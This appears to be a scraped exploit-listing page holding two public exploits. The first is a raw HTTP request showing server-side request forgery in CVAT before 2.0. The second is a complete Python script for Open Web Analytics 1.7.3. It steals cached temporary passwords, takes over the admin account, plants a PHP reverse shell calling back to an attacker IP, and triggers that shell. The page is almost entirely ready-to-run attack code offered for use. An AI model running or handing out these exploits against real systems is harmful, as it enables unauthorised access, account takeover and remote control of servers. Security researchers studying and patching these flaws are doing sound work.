    #Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)#Exploit Author: Emir Polat#Vendor Homepage: https://github.com/opencv/cvat#Version: < 2.0.0#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)#CVE: CVE-2022-31188# Description:#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. #Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.POST /api/v1/tasks/2/data HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0Accept: application/json, text/plain, */*Accept-Language:en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Token 06d88f739a10c7533991d8010761df721b790b7X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGVContent-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436Content-Length: 569Origin: http://localhost:8080Connection: closeReferer:http://localhost:8080/tasks/createCookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dnedSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="remote files[0]"http://localhost:8081-----------------------------251652214142138553464236533436Content-Disposition: form-data; name=" image quality"170-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use zip chunks"true-----------------------------251652214142138553464236533436Content-Disposition: form-data; name="use cache"true-----------------------------251652214142138553464236533436--

CVAT 2.0 Server-Side Request Forgery

Open Web Analytics version 1.7.3 remote code execution exploit.

    # Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)# Date: 2022-08-30# Exploit Author: Jacob Ebben# Vendor Homepage: https://www.openwebanalytics.com/# Software Link: https://github.com/Open-Web-Analytics# Version: <1.7.4# Tested on: Linux # CVE : CVE-2022-24637import argparseimport requestsimport base64import reimport randomimport stringimport hashlibfrom termcolor import coloreddef print_message(message, type):   if type == 'SUCCESS':      print('[' + colored('SUCCESS', 'green') +  '] ' + message)   elif type == 'INFO':      print('[' + colored('INFO', 'blue') +  '] ' + message)   elif type == 'WARNING':      print('[' + colored('WARNING', 'yellow') +  '] ' + message)   elif type == 'ALERT':      print('[' + colored('ALERT', 'yellow') +  '] ' + message)   elif type == 'ERROR':      print('[' + colored('ERROR', 'red') +  '] ' + message)def get_normalized_url(url):   if url[-1] != '/':      url += '/'   if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':      url = "http://" + url   return urldef get_proxy_protocol(url):   if url[0:8].lower() == 'https://':      return 'https'   return 'http'def get_random_string(length):   chars = string.ascii_letters + string.digits   return ''.join(random.choice(chars) for i in range(length))def get_cache_content(cache_raw):   regex_cache_base64 = r'\*(\w*)\*'   regex_result = re.search(regex_cache_base64, cache_raw)   if not regex_result:      print_message('The provided URL does not appear to be vulnerable ...', "ERROR")      exit()   else:      cache_base64 = regex_result.group(1)   return base64.b64decode(cache_base64).decode("ascii")def get_cache_username(cache):   regex_cache_username = r'"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"'   return re.search(regex_cache_username, cache).group(1)def get_cache_temppass(cache):   regex_cache_temppass = r'"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"'   return re.search(regex_cache_temppass, cache).group(1)def get_update_nonce(url):   try:      update_nonce_request = session.get(url, proxies=proxies)      regex_update_nonce = r'owa_nonce" value="(\w*)"'      update_nonce = re.search(regex_update_nonce, update_nonce_request.text).group(1)   except Exception as e:      print_message('An error occurred when attempting to update config!', "ERROR")      print(e)      exit()   else:      return update_nonceparser = argparse.ArgumentParser(description='Exploit for CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)')parser.add_argument('TARGET', type=str,                   help='Target URL (Example: http://localhost/owa/ or https://victim.xyz:8000/)')parser.add_argument('ATTACKER_IP', type=str,                   help='Address for reverse shell listener on attacking machine')parser.add_argument('ATTACKER_PORT', type=str,                   help='Port for reverse shell listener on attacking machine')parser.add_argument('-u', '--username', default="admin", type=str,                  help='The username to exploit (Default: admin)')parser.add_argument('-p','--password', default=get_random_string(32), type=str,                  help='The new password for the exploited user')parser.add_argument('-P','--proxy', type=str,                  help='HTTP proxy address (Example: http://127.0.0.1:8080/)')parser.add_argument('-c', '--check', action='store_true',                  help='Check vulnerability without exploitation')args = parser.parse_args()base_url = get_normalized_url(args.TARGET)login_url = base_url + "index.php?owa_do=base.loginForm"password_reset_url = base_url + "index.php?owa_do=base.usersPasswordEntry"update_config_url = base_url + "index.php?owa_do=base.optionsGeneral"username = args.usernamenew_password = args.passwordreverse_shell = '<?php $sock=fsockopen("' + args.ATTACKER_IP + '",'+ args.ATTACKER_PORT + ');$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'shell_filename = get_random_string(8) + '.php'shell_url = base_url + 'owa-data/caches/' + shell_filenameif args.proxy:   proxy_url = get_normalized_url(args.proxy)   proxy_protocol = get_proxy_protocol(proxy_url)   proxies = { proxy_protocol: proxy_url }else:   proxies = {}session = requests.Session()try:   mainpage_request = session.get(base_url, proxies=proxies)except Exception as e:   print_message('Could not connect to "' + base_url, "ERROR")   exit()else:   print_message('Connected to "' + base_url + '" successfully!', "SUCCESS")if 'Open Web Analytics' not in mainpage_request.text:   print_message('Could not confirm whether this website is hosting OWA! Continuing exploitation...', "WARNING")elif 'version=1.7.3' not in mainpage_request.text:   print_message('Could not confirm whether this OWA instance is vulnerable! Continuing exploitation...', "WARNING")else:   print_message('The webserver indicates a vulnerable version!', "ALERT")try:   data = {      "owa_user_id": username,       "owa_password": username,       "owa_action": "base.login"   }   session.post(login_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred during the login attempt!', "ERROR")   print(e)   exit()else:   print_message('Attempting to generate cache for "' + username + '" user', "INFO")print_message('Attempting to find cache of "' + username + '" user', "INFO")found = Falsefor key in range(100):   user_id = 'user_id' + str(key)   userid_hash = hashlib.md5(user_id.encode()).hexdigest()    filename = userid_hash + '.php'   cache_url = base_url + "owa-data/caches/" + str(key) + "/owa_user/" + filename   cache_request = requests.get(cache_url, proxies=proxies)   if cache_request.status_code != 200:      continue;   cache_raw = cache_request.text   cache = get_cache_content(cache_raw)   cache_username = get_cache_username(cache)   if cache_username != username:      print_message('The temporary password for a different user was found. "' + cache_username + '": ' + get_cache_temppass(cache), "INFO")      continue;   else:      found = True      breakif not found:   print_message('No cache found. Are you sure "' + username + '" is a valid user?', "ERROR")   exit()cache_temppass = get_cache_temppass(cache)print_message('Found temporary password for user "' + username + '": ' + cache_temppass, "INFO")if args.check:   print_message('The system appears to be vulnerable!', "ALERT")   exit()try:   data = {      "owa_password": new_password,       "owa_password2": new_password,       "owa_k": cache_temppass,       "owa_action":       "base.usersChangePassword"   }   session.post(password_reset_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when changing the user password!', "ERROR")   print(e)   exit()else:   print_message('Changed the password of "' + username + '" to "' + new_password + '"', "INFO")try:   data = {      "owa_user_id": username,       "owa_password": new_password,       "owa_action": "base.login"   }   session.post(login_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred during the login attempt!', "ERROR")   print(e)   exit()else:   print_message('Logged in as "' + username + '" user', "SUCCESS")nonce = get_update_nonce(update_config_url)try:   log_location = "/var/www/html/owa/owa-data/caches/" + shell_filename   data = {      "owa_nonce": nonce,       "owa_action": "base.optionsUpdate",       "owa_config[base.error_log_file]": log_location,       "owa_config[base.error_log_level]": 2   }   session.post(update_config_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when attempting to update config!', "ERROR")   print(e)   exit()else:   print_message('Creating log file', "INFO")nonce = get_update_nonce(update_config_url)try:   data = {      "owa_nonce": nonce,       "owa_action": "base.optionsUpdate",       "owa_config[shell]": reverse_shell    }   session.post(update_config_url, data=data, proxies=proxies)except Exception as e:   print_message('An error occurred when attempting to update config!', "ERROR")   print(e)   exit()else:   print_message('Wrote payload to log file', "INFO")try:   session.get(shell_url, proxies=proxies)except Exception as e:   print(e)else:   print_message('Triggering payload! Check your listener!', "SUCCESS")   print_message('You can trigger the payload again at "' + shell_url + '"' , "INFO")

Tag

#mac